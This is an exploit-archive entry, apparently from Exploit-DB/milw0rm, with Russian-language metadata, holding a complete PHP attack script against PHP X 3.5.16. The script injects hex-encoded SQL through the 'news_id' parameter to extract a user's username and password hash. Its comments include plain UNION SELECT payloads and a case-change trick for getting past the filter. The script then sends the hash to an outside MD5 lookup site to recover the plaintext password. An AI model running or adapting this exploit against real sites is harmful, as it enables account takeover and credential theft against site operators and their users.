Exploit PHPX 3.5.16 - 'news_id' SQL Injection

[Exploiter]

EDB-ID

6996

Проверка EDB

1. Пройдено

Автор

STAKER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-5000

Дата публикации

2008-11-05

<?php

error_reporting(0);
ini_set("default_socket_timeout",5);
set_time_limit(0);



/*
   ---------------------------------------------------
   PHP X 3.5.16 (news_id) Remote SQL Injection Exploit
   ---------------------------------------------------
   By StAkeR[at]hotmail[dot]it
   Download On http://www.phpx.org/project.php
   NOTE: Magic_Quotes_GPC OFF
   ---------------------------------------------------
   
   File (admin/includes/news.inc.php)
   
   1. <?php
   2. #$Id: news.inc.php,v 1.46 2006/12/18 05:51:47 ryan Exp $
   3.
   4.
   5. class newsModule{
   6.
   7. function newsModule(){
   8.
   9.
  10.
  11. $this->action = $_GET['action'];
  12. $this->news_id = $_GET['news_id'];
  13.
  14. global $userinfo;
  15. global $core;
  16.
  17. $this->core = $core;
  18.
  19. $this->userinfo = $userinfo;
  20.
  21.
  22.
  23.
  24. if (!$this->userinfo){ DIE("HACK ATTEMPT"); }
  25. if ($this->userinfo[news] != 1){ DIE("NO ACCESS TO THIS MODULE"); }
  26.
  27. include("includes/text.inc.php");
  28. $this->textFun = new textFunctions();
  29. $this->newsCat = $this->core->db->dbCall("news_categories");
  30. if ($this->news_id == ''){ $this->news_id = $_POST['news_id']; }
  31.
  32. switch($this->action){
  33. case "catrss":
  34. $this->catRSS();
  35. break;
      ...
   
   i've found other bugs..:D
  

   news.php?action=view&news_id=1 ' union all select 1,2,username,4,5,password,7,8 from users where user_id=1/*
   Result? HACKING ATTEMPT...but this fix is very stupid because isn't case sensitive...
   news.php?action=view&news_id=1 ' UNION ALL SELECT 1,2,username,4,5,password,7,8 from users where user_id=1/*
   
 
  
*/   


$search = new search;


if(preg_match('/http://(.+?)/i',$argv[1]) or !is_numeric($argv[2])) $search->argv();


$uid = intval($argv[2]);
$host = explode('/',$argv[1]);
$search->magic();

$code = "\x31\x25\x32\x30\x25\x32\x37\x25\x32".
        "\x30\x55\x4E\x49\x4F\x4E\x25\x32\x30".
        "\x41\x4C\x4C\x25\x32\x30\x53\x45\x4C".
        "\x45\x43\x54\x25\x32\x30\x31\x25\x32".
        "\x43\x32\x25\x32\x43\x75\x73\x65\x72".
        "\x6E\x61\x6D\x65\x25\x32\x43\x34\x25".
        "\x32\x43\x35\x25\x32\x43\x70\x61\x73".
        "\x73\x77\x6F\x72\x64\x25\x32\x43\x37".
        "\x25\x32\x43\x38\x25\x32\x30\x66\x72".
        "\x6F\x6D\x25\x32\x30\x75\x73\x65\x72".
        "\x73\x25\x32\x30\x77\x68\x65\x72\x65".
        "\x25\x32\x30\x75\x73\x65\x72\x5F\x69".
        "\x64\x25\x33\x44".$uid."\x25\x32\x33";
        


$data .= "GET /$host[1]/news.php?action=view&news_id=$code HTTP/1.1\r\n"; 
$data .= "Host: $host[0]\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: en-us,en;q=0.5\r\n";
$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Connection: close\r\n\r\n";
    
  
  
if(!$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) die("socket_create() error!\r\n");
if(!socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1)) die("socket_set_option() error!\r\n"); 
if(!socket_connect($socket,gethostbyname($host[0]),80)) die("socket_connect() error!\r\n");
if(!socket_write($socket,$data,strlen($data))) die("socket_write() errror!\r\n");

while($html = socket_read($socket,1024,PHP_NORMAL_READ)) 
{ 
  $content .= $html; 
} socket_close($socket);



if(preg_match('/<br><br>([0-9a-f]{32})/',$content,$result))
{
  echo "[+] Exploit Successfully!\r\n";
  echo "[+] Hash: $result[1]\r\n";
  echo $search->md5($result[1]);

}
else
{
  echo "[+] Exploit Failed!\r\n";
  echo "[+] Site Not Vulnerable / ID Not Valid!\r\n";
  exit;
}

class search
{
  function md5($hash)
  {
    if(strlen($hash) != 32) die("hash not valid!\r\n");
  
    $data .= "GET /?p&submit&s=md5&q=$hash&_= HTTP/1.1\r\n"; 
    $data .= "Host: md5.rednoize.com\r\n";
    $data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
    $data .= "Connection: close\r\n\r\n";
  
    if(!$socket = fsockopen('md5.rednoize.com',80)) die("fsockopen() error!\n");  
    if(!fputs($socket,$data)) die("fputs() error!\n");


    while(!feof($socket))
    {
      $content .= fgets($socket);
    } fclose($socket);
  
    $result = explode(' ',$content);
  
    if(isset($result[19]))
    {
      return "[+] Password: ".substr($result[19],20,-6)."\r\n";
    }
  }
  
  function argv()
  {
    echo "[+] PHP X 3.5.16 (news_id) Remote SQL Injection Exploit\r\n";
    echo "[+] Usage: php $argv[0] [host/path] [user_id]\r\n";
    echo "[+] Usage: php $argv[0] localhost/phpx 1\r\n";
    exit;
  }
  
  function magic()
  {
    global $host;
    
    $data .= "GET /$host[1]/news.php?action=view&news_id=' HTTP/1.1\r\n"; 
    $data .= "Host: $host[0]\r\n";
    $data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
    $data .= "Connection: close\r\n\r\n";
  
    if(!$socket = fsockopen($host[0],80)) die("fsockopen() error!\n");  
    if(!fputs($socket,$data)) die("fputs() error!\n");

    while(!feof($socket))
    {
      $content .= fgets($socket);
    } fclose($socket);
    
    if(!eregi('error in your SQL',$content))
    {
      echo "[+] Magic Quotes On!\r\n[+] Exploit Failed!\r\n";
      exit;
    }
  }
}

# milw0rm.com [2008-11-05]